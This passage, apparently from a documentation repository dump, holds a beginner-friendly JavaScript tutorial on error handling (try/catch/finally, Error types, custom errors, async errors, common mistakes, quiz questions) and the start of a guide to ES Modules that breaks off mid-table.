|\n| Show continues | `finally` block | Cleanup that always runs |\n| Acrobat falls | Error is thrown | Something went wrong |\n\n---\n\n## The try/catch/finally Statement\n\nThe **[`try...catch`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch)** statement is JavaScript's primary tool for handling errors. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch), this statement has been part of JavaScript since ECMAScript 3 (1999) and remains the standard mechanism for synchronous error handling. Here's the full syntax:\n\n```javascript\ntry {\n  // Code that might throw an error\n  const result = riskyOperation()\n  console.log(result)\n  \n} catch (error) {\n  // Code that runs if an error is thrown\n  console.error('Something went wrong:', error.message)\n  \n} finally {\n  // Code that ALWAYS runs, error or not\n  cleanup()\n}\n```\n\n### The try Block\n\nThe `try` block contains code that might throw an error. If an error occurs, execution immediately jumps to the `catch` block.\n\n```javascript\ntry {\n  console.log('Starting...')      // Runs\n  JSON.parse('{ bad json }')      // Error! Jump to catch\n  console.log('This never runs')  // Skipped\n}\n```\n\n### The catch Block\n\nThe `catch` block receives the error object and handles it. This is where you log errors, show user messages, or attempt recovery.\n\n```javascript\ntry {\n  const data = JSON.parse(userInput)\n} catch (error) {\n  // error contains information about what went wrong\n  console.log(error.name)     // \"SyntaxError\"\n  console.log(error.message)  // \"Unexpected token b in JSON...\"\n  \n  // You can recover gracefully\n  const data = { fallback: true }\n}\n```\n\n<Tip>\n**Optional catch binding:** If you don't need the error object, you can omit it (ES2019+):\n\n```javascript\ntry {\n  JSON.parse(maybeJson)\n} catch {\n  // No (error) parameter needed if you don't use it\n  return null\n}\n```\n</Tip>\n\n### The finally Block\n\nThe `finally` block always runs, whether an error occurred or not. It's perfect for cleanup code like closing connections or hiding loading spinners.\n\n```javascript\nlet isLoading = true\n\ntry {\n  const data = await fetchData()\n  displayData(data)\n} catch (error) {\n  showErrorMessage(error)\n} finally {\n  // This runs no matter what!\n  isLoading = false\n  hideLoadingSpinner()\n}\n```\n\n<Warning>\n**finally runs even with return:** If you return from a try or catch block, finally still executes before the function returns:\n\n```javascript\nfunction example() {\n  try {\n    return 'from try'\n  } finally {\n    console.log('finally runs!')  // This still logs!\n  }\n}\n\nexample()  // Logs \"finally runs!\", then returns \"from try\"\n```\n</Warning>\n\n### try/catch Only Works Synchronously\n\nThis trips people up: `try/catch` won't catch errors in callbacks that run later.\n\n```javascript\n// ❌ WRONG - catch won't catch this error!\ntry {\n  setTimeout(() => {\n    throw new Error('Async error')\n  }, 1000)\n} catch (error) {\n  console.log('This never runs')\n}\n\n// ✓ CORRECT - try/catch inside the callback\nsetTimeout(() => {\n  try {\n    throw new Error('Async error')\n  } catch (error) {\n    console.log('Caught:', error.message)\n  }\n}, 1000)\n```\n\nFor async code, see the [Async Error Handling](#async-error-handling) section.\n\n---\n\n## The Error Object\n\nWhen an error occurs, JavaScript creates an **[Error](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error)** object with information about what went wrong.\n\n### Error Properties\n\n| Property | Description | Example |\n|----------|-------------|---------|\n| `name` | The type of error | `\"TypeError\"`, `\"ReferenceError\"` |\n| `message` | Human-readable description | `\"Cannot read property 'x' of undefined\"` |\n| `stack` | Call stack when error occurred (non-standard but widely supported) | Shows file names, line numbers |\n| `cause` | Original error (ES2022+) | Used for error chaining |\n\n```javascript\ntry {\n  undefinedVariable\n} catch (error) {\n  console.log(error.name)     // \"ReferenceError\"\n  console.log(error.message)  // \"undefinedVariable is not defined\"\n  console.log(error.stack)    // Full stack trace with line numbers\n}\n```\n\nThe `stack` property is essential for debugging. It shows exactly where the error occurred and the chain of function calls that led to it.\n\n---\n\n## Built-in Error Types\n\nJavaScript has several built-in error types. Knowing them helps you understand what went wrong and how to fix it. The [ECMAScript specification](https://tc39.es/ecma262/#sec-native-error-types-used-in-this-specification) defines seven native error types, each representing a different category of runtime problem.\n\n| Error Type | When It Occurs | Common Cause |\n|------------|----------------|--------------|\n| **[Error](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error)** | Generic error | Base class, used for custom errors |\n| **[TypeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError)** | Wrong type | `null.foo`, calling non-function |\n| **[ReferenceError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError)** | Invalid reference | Using undefined variable |\n| **[SyntaxError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError)** | Invalid syntax | Bad JSON, missing brackets |\n| **[RangeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError)** | Value out of range | `new Array(-1)` |\n| **[URIError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError)** | Bad URI encoding | `decodeURIComponent('%')` |\n| **[AggregateError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError)** | Multiple errors | `Promise.any()` all reject |\n\n<AccordionGroup>\n  <Accordion title=\"TypeError - The most common error\">\n    Occurs when a value is not the expected type, like calling a method on `null` or `undefined`:\n    \n    ```javascript\n    const user = null\n    console.log(user.name)  // TypeError: Cannot read property 'name' of null\n    \n    const notAFunction = 42\n    notAFunction()  // TypeError: notAFunction is not a function\n    ```\n    \n    **Fix:** Check if values exist before using them:\n    ```javascript\n    console.log(user?.name)  // undefined (no error)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"ReferenceError - Variable doesn't exist\">\n    Occurs when you try to use a variable that hasn't been declared:\n    \n    ```javascript\n    console.log(userName)  // ReferenceError: userName is not defined\n    ```\n    \n    **Common causes:** Typos in variable names, forgetting to import, using variables before declaration.\n  </Accordion>\n  \n  <Accordion title=\"SyntaxError - Invalid code or JSON\">\n    Occurs when code has invalid syntax or when parsing invalid JSON:\n    \n    ```javascript\n    JSON.parse('{ name: \"John\" }')  // SyntaxError: Unexpected token n\n    // JSON requires double quotes: { \"name\": \"John\" }\n    \n    JSON.parse('')  // SyntaxError: Unexpected end of JSON input\n    ```\n    \n    **Note:** Syntax errors in your source code are caught at parse time, not runtime. `try/catch` only catches runtime SyntaxErrors like invalid JSON.\n  </Accordion>\n  \n  <Accordion title=\"RangeError - Value out of bounds\">\n    Occurs when a value is outside its allowed range:\n    \n    ```javascript\n    new Array(-1)            // RangeError: Invalid array length\n    (1.5).toFixed(200)       // RangeError: precision out of range (max is 100)\n    'x'.repeat(Infinity)     // RangeError: Invalid count value\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## The throw Statement\n\nThe **[`throw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/throw)** statement lets you create your own errors. When you throw, execution stops and jumps to the nearest catch block.\n\n```javascript\nfunction divide(a, b) {\n  if (b === 0) {\n    throw new Error('Cannot divide by zero')\n  }\n  return a / b\n}\n\ntry {\n  const result = divide(10, 0)\n} catch (error) {\n  console.log(error.message)  // \"Cannot divide by zero\"\n}\n```\n\n### Always Throw Error Objects\n\nTechnically you can throw anything, but always throw Error objects. They include a stack trace for debugging.\n\n```javascript\n// ❌ BAD - No stack trace, hard to debug\nthrow 'Something went wrong'\nthrow 404\nthrow { message: 'Error' }\n\n// ✓ GOOD - Includes stack trace\nthrow new Error('Something went wrong')\nthrow new TypeError('Expected a string')\nthrow new RangeError('Value must be between 0 and 100')\n```\n\n### Creating Meaningful Error Messages\n\nGood error messages tell you what went wrong and ideally how to fix it:\n\n```javascript\n// ❌ Vague\nthrow new Error('Invalid input')\n\n// ✓ Specific\nthrow new Error('Email address is invalid: missing @ symbol')\nthrow new TypeError(`Expected string but got ${typeof value}`)\nthrow new RangeError(`Age must be between 0 and 150, got ${age}`)\n```\n\n---\n\n## Custom Error Classes\n\nFor larger applications, create custom error classes to categorize errors and add extra information.\n\n```javascript\nclass ValidationError extends Error {\n  constructor(message) {\n    super(message)\n    this.name = 'ValidationError'\n  }\n}\n\nclass NetworkError extends Error {\n  constructor(message, statusCode) {\n    super(message)\n    this.name = 'NetworkError'\n    this.statusCode = statusCode\n  }\n}\n```\n\n### The Auto-Naming Pattern\n\nInstead of manually setting `this.name` in every class, use the constructor name:\n\n```javascript\nclass AppError extends Error {\n  constructor(message, options) {\n    super(message, options)\n    this.name = this.constructor.name  // Automatically uses class name\n  }\n}\n\nclass ValidationError extends AppError {}\nclass DatabaseError extends AppError {}\nclass NetworkError extends AppError {}\n\n// All have correct names automatically\nthrow new ValidationError('Invalid email')  // error.name === \"ValidationError\"\n```\n\n### Using instanceof for Error Handling\n\nCustom errors let you handle different error types differently:\n\n```javascript\ntry {\n  await saveUser(userData)\n} catch (error) {\n  if (error instanceof ValidationError) {\n    // Show validation message to user\n    showFieldErrors(error.fields)\n  } else if (error instanceof NetworkError) {\n    // Network issue - maybe retry\n    showRetryButton()\n  } else {\n    // Unknown error - log and show generic message\n    console.error('Unexpected error:', error)\n    showGenericError()\n  }\n}\n```\n\n### Error Chaining with cause (ES2022+)\n\nWhen catching and re-throwing errors, preserve the original error using the `cause` option:\n\n```javascript\nasync function fetchUserData(userId) {\n  try {\n    const response = await fetch(`/api/users/${userId}`)\n    return await response.json()\n  } catch (error) {\n    // Wrap the original error with more context\n    throw new Error(`Failed to load user ${userId}`, { cause: error })\n  }\n}\n\n// Later, you can access the original error\ntry {\n  await fetchUserData(123)\n} catch (error) {\n  console.log(error.message)       // \"Failed to load user 123\"\n  console.log(error.cause.message) // Original fetch error\n}\n```\n\n---\n\n## Async Error Handling\n\nError handling works differently with asynchronous code. Here's a quick overview. For comprehensive coverage, see our [Promises](/concepts/promises) and [async/await](/concepts/async-await) guides.\n\n### With Promises: .catch()\n\nUse `.catch()` to handle errors in Promise chains:\n\n```javascript\nfetch('/api/users')\n  .then(response => response.json())\n  .then(users => displayUsers(users))\n  .catch(error => {\n    // Catches errors from fetch, json parsing, or displayUsers\n    console.error('Failed to load users:', error)\n  })\n  .finally(() => {\n    hideLoadingSpinner()\n  })\n```\n\n### With async/await: try/catch\n\nWith async/await, use regular try/catch blocks:\n\n```javascript\nasync function loadUsers() {\n  try {\n    const response = await fetch('/api/users')\n    const users = await response.json()\n    return users\n  } catch (error) {\n    console.error('Failed to load users:', error)\n    throw error  // Re-throw if caller should handle it\n  }\n}\n```\n\n### The fetch() Trap: Check response.ok\n\nThis catches many developers off guard: **`fetch()` doesn't throw on HTTP errors** like 404 or 500. It only throws on network failures.\n\n```javascript\n// ❌ WRONG - This won't catch 404 or 500 errors!\ntry {\n  const response = await fetch('/api/users/999')\n  const user = await response.json()  // Might fail on error response\n} catch (error) {\n  // Only catches network errors, not HTTP errors\n}\n\n// ✓ CORRECT - Check response.ok\ntry {\n  const response = await fetch('/api/users/999')\n  \n  if (!response.ok) {\n    throw new Error(`HTTP error: ${response.status}`)\n  }\n  \n  const user = await response.json()\n} catch (error) {\n  // Now catches both network AND HTTP errors\n  console.error('Request failed:', error.message)\n}\n```\n\n<Warning>\n**The #1 async mistake:** Using `forEach` with async callbacks doesn't work as expected. Use `for...of` for sequential or `Promise.all` for parallel. See our [async/await guide](/concepts/async-await) for details.\n</Warning>\n\n---\n\n## Global Error Handlers\n\nGlobal error handlers catch errors that slip through your try/catch blocks. They're a safety net of last resort, not a replacement for proper error handling.\n\n### window.onerror - Synchronous Errors\n\nCatches uncaught errors in the browser:\n\n```javascript\nwindow.onerror = function(message, source, lineno, colno, error) {\n  console.log('Uncaught error:', message)\n  console.log('Source:', source, 'Line:', lineno)\n  \n  // Send to error tracking service\n  logErrorToService(error)\n  \n  // Return true to prevent default browser error handling\n  return true\n}\n```\n\n### unhandledrejection - Promise Rejections\n\nCatches unhandled Promise rejections:\n\n```javascript\nwindow.addEventListener('unhandledrejection', event => {\n  console.warn('Unhandled promise rejection:', event.reason)\n  \n  // Prevent the default browser warning\n  event.preventDefault()\n  \n  // Log to error tracking service\n  logErrorToService(event.reason)\n})\n```\n\n<Tip>\n**When to use global handlers:**\n- Logging errors to a service like Sentry or LogRocket\n- Showing a generic \"something went wrong\" message\n- Tracking errors in production\n\n**Not for:** Regular error handling. Always prefer specific try/catch blocks.\n</Tip>\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Empty catch Blocks (Swallowing Errors)\n\n```javascript\n// ❌ WRONG - Error is silently lost\ntry {\n  riskyOperation()\n} catch (error) {\n  // Nothing here - you'll never know something failed\n}\n\n// ✓ CORRECT - At minimum, log the error\ntry {\n  riskyOperation()\n} catch (error) {\n  console.error('Operation failed:', error)\n}\n```\n\n### Mistake 2: Catching Too Broadly\n\n```javascript\n// ❌ WRONG - Hides programming bugs\ntry {\n  processData(data)\n  undefinedVriable  // Typo! This bug is now hidden\n} catch (error) {\n  return 'Something went wrong'\n}\n\n// ✓ CORRECT - Only catch expected errors\ntry {\n  return JSON.parse(userInput)\n} catch (error) {\n  if (error instanceof SyntaxError) {\n    return null  // Expected: invalid JSON\n  }\n  throw error  // Unexpected: re-throw\n}\n```\n\n### Mistake 3: Throwing Strings Instead of Errors\n\n```javascript\n// ❌ WRONG - No stack trace\nthrow 'User not found'\n\n// ✓ CORRECT - Has stack trace for debugging\nthrow new Error('User not found')\n```\n\n### Mistake 4: Not Re-throwing When Needed\n\n```javascript\n// ❌ WRONG - Caller doesn't know an error occurred\nasync function fetchData() {\n  try {\n    return await fetch('/api/data')\n  } catch (error) {\n    console.log('Error:', error)\n    // Returns undefined - caller thinks it succeeded!\n  }\n}\n\n// ✓ CORRECT - Re-throw or return meaningful value\nasync function fetchData() {\n  try {\n    return await fetch('/api/data')\n  } catch (error) {\n    console.log('Error:', error)\n    throw error  // Let caller handle it\n    // OR: return null with explicit meaning\n  }\n}\n```\n\n### Mistake 5: Forgetting try/catch is Synchronous\n\n```javascript\n// ❌ WRONG - Won't catch async errors\ntry {\n  setTimeout(() => {\n    throw new Error('Async error')  // Uncaught!\n  }, 1000)\n} catch (error) {\n  console.log('Never runs')\n}\n\n// ✓ CORRECT - Put try/catch inside callback\nsetTimeout(() => {\n  try {\n    throw new Error('Async error')\n  } catch (error) {\n    console.log('Caught:', error.message)\n  }\n}, 1000)\n```\n\n---\n\n## Real-World Patterns\n\n### Retry Pattern\n\nAutomatically retry failed operations, useful for flaky network requests:\n\n```javascript\nasync function fetchWithRetry(url, retries = 3) {\n  for (let i = 0; i < retries; i++) {\n    try {\n      const response = await fetch(url)\n      if (!response.ok) throw new Error(`HTTP ${response.status}`)\n      return await response.json()\n    } catch (error) {\n      if (i === retries - 1) throw error  // Last attempt, give up\n      \n      // Wait before retrying (exponential backoff)\n      await new Promise(r => setTimeout(r, 1000 * Math.pow(2, i)))\n    }\n  }\n}\n```\n\n### Validation Error Pattern\n\nCollect multiple validation errors at once:\n\n```javascript\nclass ValidationError extends Error {\n  constructor(errors) {\n    super('Validation failed')\n    this.name = 'ValidationError'\n    this.errors = errors  // { email: \"Invalid email\", age: \"Must be positive\" }\n  }\n}\n\nfunction validateUser(data) {\n  const errors = {}\n  \n  if (!data.email?.includes('@')) {\n    errors.email = 'Invalid email address'\n  }\n  if (data.age < 0) {\n    errors.age = 'Age must be positive'\n  }\n  \n  if (Object.keys(errors).length > 0) {\n    throw new ValidationError(errors)\n  }\n}\n\n// Usage\ntry {\n  validateUser({ email: 'bad', age: -5 })\n} catch (error) {\n  if (error instanceof ValidationError) {\n    // Show errors next to form fields\n    Object.entries(error.errors).forEach(([field, message]) => {\n      showFieldError(field, message)\n    })\n  }\n}\n```\n\n### Graceful Degradation\n\nTry the ideal path, fall back to alternatives:\n\n```javascript\nasync function loadUserPreferences(userId) {\n  try {\n    // Try to fetch from API\n    return await fetchFromApi(`/preferences/${userId}`)\n  } catch (apiError) {\n    console.warn('API unavailable, trying cache:', apiError.message)\n    \n    try {\n      // Fall back to local storage\n      const cached = localStorage.getItem(`prefs_${userId}`)\n      if (cached) return JSON.parse(cached)\n    } catch (cacheError) {\n      console.warn('Cache unavailable:', cacheError.message)\n    }\n    \n    // Fall back to defaults\n    return { theme: 'light', language: 'en' }\n  }\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Use try/catch for synchronous code** — Wrap risky operations and handle errors appropriately\n\n2. **try/catch is synchronous** — It won't catch errors in callbacks. Use `.catch()` for Promises or try/catch inside async functions\n\n3. **Always throw Error objects, not strings** — Error objects include stack traces that are essential for debugging\n\n4. **Always check response.ok with fetch** — `fetch()` doesn't throw on HTTP errors like 404 or 500\n\n5. **Create custom Error classes** — They help categorize errors and add context for better handling\n\n6. **Use finally for cleanup** — Code in finally always runs, perfect for hiding spinners or closing connections\n\n7. **Don't swallow errors** — Empty catch blocks hide bugs. Always log or re-throw\n\n8. **Use error.cause for chaining** — Preserve original errors when wrapping them with more context\n\n9. **Re-throw errors you can't handle** — If you catch an error you didn't expect, re-throw it\n\n10. **Use global handlers as a safety net** — They're for logging and tracking, not for regular error handling\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between try/catch and Promise .catch()?\">\n    **Answer:**\n    \n    `try/catch` only catches **synchronous** errors. If you have async code inside the try block (like setTimeout callbacks), errors won't be caught.\n    \n    Promise `.catch()` catches **Promise rejections**, which are async. With async/await, you can use try/catch because `await` converts rejections to thrown errors.\n    \n    ```javascript\n    // try/catch with async/await - works!\n    try {\n      await fetch('/api/data')\n    } catch (error) {\n      // Catches rejections because await converts them\n    }\n    \n    // try/catch with callbacks - doesn't work!\n    try {\n      setTimeout(() => { throw new Error() }, 1000)\n    } catch (error) {\n      // Never runs - the error is thrown later\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why doesn't fetch() throw on 404 or 500 errors?\">\n    **Answer:**\n    \n    `fetch()` only throws on **network failures** (can't reach the server). HTTP errors like 404 (Not Found) or 500 (Server Error) are valid HTTP responses, so `fetch()` resolves successfully.\n    \n    You must check `response.ok` to detect HTTP errors:\n    \n    ```javascript\n    const response = await fetch('/api/users/999')\n    \n    if (!response.ok) {\n      // 404, 500, etc.\n      throw new Error(`HTTP error: ${response.status}`)\n    }\n    \n    const data = await response.json()\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why should you throw Error objects instead of strings?\">\n    **Answer:**\n    \n    Error objects include a **stack trace** showing where the error occurred and the chain of function calls. Strings don't have this information.\n    \n    ```javascript\n    throw 'Something went wrong'  // No stack trace\n    throw new Error('Something went wrong')  // Has stack trace\n    ```\n    \n    The stack trace is essential for debugging, especially in production where you can't use a debugger.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What does the finally block do?\">\n    **Answer:**\n    \n    The `finally` block **always runs**, whether an error occurred or not, and even if there's a `return` statement in try or catch. It's ideal for cleanup code.\n    \n    ```javascript\n    function example() {\n      try {\n        return 'success'\n      } catch (error) {\n        return 'error'\n      } finally {\n        console.log('Cleanup!')  // Always runs!\n      }\n    }\n    \n    example()  // Logs \"Cleanup!\" then returns \"success\"\n    ```\n    \n    Use it for: hiding loading spinners, closing connections, releasing resources.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you handle different error types differently?\">\n    **Answer:**\n    \n    Use `instanceof` to check the error type, or check `error.name`:\n    \n    ```javascript\n    try {\n      riskyOperation()\n    } catch (error) {\n      if (error instanceof TypeError) {\n        console.log('Type error:', error.message)\n      } else if (error instanceof SyntaxError) {\n        console.log('Syntax error:', error.message)\n      } else {\n        // Unknown error - re-throw it\n        throw error\n      }\n    }\n    ```\n    \n    This is especially useful with custom error classes:\n    \n    ```javascript\n    if (error instanceof ValidationError) {\n      showFormErrors(error.errors)\n    } else if (error instanceof NetworkError) {\n      showOfflineMessage()\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's wrong with this code?\">\n    ```javascript\n    try {\n      const result = riskyOperation()\n    } catch (e) {\n      // Handle error\n    }\n    \n    console.log(result)  // ???\n    ```\n    \n    **Answer:**\n    \n    `result` is scoped to the try block. It doesn't exist outside of it, so `console.log(result)` throws a ReferenceError.\n    \n    **Fix:** Declare the variable outside the try block:\n    \n    ```javascript\n    let result\n    \n    try {\n      result = riskyOperation()\n    } catch (e) {\n      result = 'fallback value'\n    }\n    \n    console.log(result)  // Works!\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between throw and return in JavaScript?\">\n    `return` ends a function and passes a value to the caller. `throw` creates an error that unwinds the call stack until a `catch` block handles it. Use `throw` for exceptional conditions that the current function cannot resolve; use `return` for normal control flow, including returning error indicators like `null` or result objects.\n  </Accordion>\n\n  <Accordion title=\"Should I wrap every function in try/catch?\">\n    No. Only use `try/catch` around code that can fail unpredictably — JSON parsing, network requests, file operations, or third-party library calls. Wrapping everything adds noise and hides bugs. As [MDN recommends](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling), handle errors at the appropriate level where you have enough context to recover meaningfully.\n  </Accordion>\n\n  <Accordion title=\"What are the built-in Error types in JavaScript?\">\n    The [ECMAScript specification](https://tc39.es/ecma262/#sec-native-error-types-used-in-this-specification) defines seven: `TypeError` (wrong type), `ReferenceError` (undefined variable), `SyntaxError` (invalid syntax), `RangeError` (value out of range), `URIError` (bad URI encoding), `EvalError` (eval-related), and `AggregateError` (multiple errors, ES2021). `TypeError` and `ReferenceError` are by far the most common in practice.\n  </Accordion>\n\n  <Accordion title=\"How do I handle errors in async/await code?\">\n    Wrap `await` calls in `try/catch` blocks, just like synchronous code. Unhandled promise rejections can crash Node.js processes — since Node 15, unhandled rejections terminate the process by default. For multiple parallel promises, use `Promise.allSettled()` to capture both successes and failures without short-circuiting.\n  </Accordion>\n\n  <Accordion title=\"When should I create custom Error classes?\">\n    Create custom Error classes when you need to distinguish between error categories in catch blocks. For example, `ValidationError`, `NotFoundError`, and `AuthenticationError` let callers handle each case differently. Extend the built-in `Error` class and set a descriptive `name` property so stack traces remain informative.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Error handling with .catch() and Promise rejection patterns\n  </Card>\n  <Card title=\"async/await\" icon=\"hourglass\" href=\"/concepts/async-await\">\n    Using try/catch with async functions for cleaner async error handling\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    Error-first callbacks: the original async error handling pattern\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    Understand why try/catch doesn't work with async callbacks\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Error — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error\">\n    Complete reference for the Error object and its properties\n  </Card>\n  <Card title=\"try...catch — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch\">\n    Documentation for try, catch, and finally blocks\n  </Card>\n  <Card title=\"throw — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/throw\">\n    How to throw your own errors\n  </Card>\n  <Card title=\"Control Flow — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling\">\n    MDN guide covering error handling in context\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Error handling, try...catch — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/try-catch\">\n    The definitive guide to JavaScript error handling. Covers everything from basics to rethrowing, with clear examples and interactive exercises.\n  </Card>\n  <Card title=\"Custom errors, extending Error — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/custom-errors\">\n    Learn to create custom error classes with proper inheritance. The wrapping exceptions pattern here is essential for larger applications.\n  </Card>\n  <Card title=\"A Definitive Guide to Handling Errors in JavaScript — Kinsta\" icon=\"newspaper\" href=\"https://kinsta.com/blog/errors-in-javascript/\">\n    Comprehensive overview covering all error types, stack traces, and production error handling strategies with middleware examples.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Error Handling — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=blBoIyNhGvY\">\n    Clear 15-minute walkthrough of try/catch/finally with practical examples. Perfect if you prefer watching code being written.\n  </Card>\n  <Card title=\"try, catch, finally, throw — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cFTFtuEQ-10\">\n    Fast-paced overview of error handling fundamentals. Great for a quick refresher or introduction to the topic.\n  </Card>\n  <Card title=\"JavaScript Error Handling — The Coding Train\" icon=\"video\" href=\"https://www.youtube.com/watch?v=1Rq_LrpcgIM\">\n    Beginner-friendly explanation with live coding examples showing exactly when errors occur and how to handle them.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/es-modules.mdx",
    "content": "---\ntitle: \"ES Modules\"\nsidebarTitle: \"ES Modules: Native Module System\"\ndescription: \"Learn ES Modules in JavaScript. Understand import/export, live bindings, dynamic imports, top-level await, and tree-shaking.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"ES modules, import export, dynamic imports, tree-shaking, module system\"\n---\n\nWhy does Node.js have two different module systems? Why can bundlers remove unused code from ES Modules but not from CommonJS? And why do some imports need curly braces while others don't?\n\nES Modules (ESM) is JavaScript's official module system, standardized in ES2015. It's the answer to years of competing module formats, and it's designed from the ground up to be statically analyzable, which unlocks optimizations that older systems simply can't match.\n\n```javascript\n// math.js - Exporting functionality\nexport const PI = 3.14159\nexport function square(x) {\n  return x * x\n}\n\n// app.js - Importing what you need\nimport { PI, square } from './math.js'\n\nconsole.log(square(4))  // 16\nconsole.log(PI)         // 3.14159\n```\n\nThis guide goes beyond the basics. You'll learn why ESM's design makes it better than CommonJS for tooling and optimization, how live bindings work, and the practical differences between browsers and Node.js.\n\n<Info>\n**What you'll learn in this guide:**\n- Why ES Modules exist and what problems they solve\n- The key differences between ESM and CommonJS (and when each applies)\n- How live bindings make ESM exports work differently than CommonJS\n- All the export and import syntax variations\n- Dynamic imports for code splitting and lazy loading\n- Top-level await and when to use it\n- Browser vs Node.js: how ESM works in each environment\n- Import maps for bare module specifiers in browsers\n- How ESM enables tree-shaking and smaller bundles\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you're familiar with basic module concepts. If terms like \"named exports\" or \"default exports\" are new to you, start with our [IIFE, Modules & Namespaces](/concepts/iife-modules) guide first.\n</Warning>\n\n---\n\n## Why ES Modules Matter\n\nFor most of JavaScript's history, there was no built-in way to split code into reusable pieces. The language simply didn't have modules. Developers created workarounds: IIFEs to avoid polluting the global scope, the Module Pattern for encapsulation, and eventually third-party systems like CommonJS (for Node.js) and AMD (for browsers).\n\nThese solutions worked, but they were all invented outside the language itself. Each had tradeoffs, and none could be fully optimized by JavaScript engines or build tools.\n\nES Modules changed that. Introduced in ES2015 (ES6) and formally defined in the [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-modules), ESM is part of the language itself. This means:\n\n- **Browsers can load modules natively** without bundlers (though bundlers still help with optimization)\n- **Tools can analyze your code statically** because imports and exports are declarative\n- **Unused code can be eliminated** (tree-shaking) because the module graph is known at build time\n- **The syntax is standardized** across all JavaScript environments\n\nToday, ESM is supported in all modern browsers and Node.js — according to [Can I Use](https://caniuse.com/es6-module), ES Modules have over 95% global browser support. It's the module system you should use for new projects.\n\n---\n\n## The Shipping Container Analogy\n\nThink of ES Modules like the standardized shipping container that revolutionized global trade.\n\nBefore shipping containers, cargo was loaded piece by piece. Every ship, truck, and warehouse had different ways of handling goods. It was slow, error-prone, and impossible to optimize at scale.\n\nShipping containers changed everything. A standard size meant cranes, ships, and trucks could all handle cargo the same way. You could plan logistics before the ship even arrived because you knew exactly what you were dealing with.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    COMMONJS vs ES MODULES                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  COMMONJS (Dynamic Loading)              ES MODULES (Static Analysis)    │\n│  ───────────────────────────             ────────────────────────────    │\n│                                                                          │\n│  ┌──────────────────────┐                ┌──────────────────────┐        │\n│  │  require('./math')   │                │  import { add }      │        │\n│  │                      │                │  from './math.js'    │        │\n│  │  Resolved at         │                │                      │        │\n│  │  RUNTIME             │                │  Known at            │        │\n│  │                      │                │  BUILD TIME          │        │\n│  │  Could be anything:  │                │                      │        │\n│  │  require(userInput)  │                │  Tools can:          │        │\n│  │  require(condition   │                │  • See all imports   │        │\n│  │    ? 'a' : 'b')      │                │  • Remove dead code  │        │\n│  │                      │                │  • Optimize bundles  │        │\n│  └──────────────────────┘                └──────────────────────┘        │\n│                                                                          │\n│  Like loose cargo:                       Like shipping containers:       │\n│  flexible but hard                       standardized and                │\n│  to optimize                             optimizable                     │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nESM's static structure is like those shipping containers. Because imports and exports are declarative (not computed at runtime), tools can \"see\" your entire module graph before running any code. This visibility enables optimizations that are simply impossible with dynamic systems like CommonJS.\n\n---\n\n## ESM vs CommonJS: The Complete Comparison\n\nIf you've worked with Node.js, you've used CommonJS. It's been Node's module system since the beginning. But ESM and CommonJS work differently at a core level.\n\n| Aspect | ES Modules | CommonJS |\n|--------|------------|----------|\n| **Syntax** | `import` / `export` | `require()` / `module.exports` |\n| **Loading** | Asynchronous | Synchronous |\n| **Analysis** | Static (build time) | 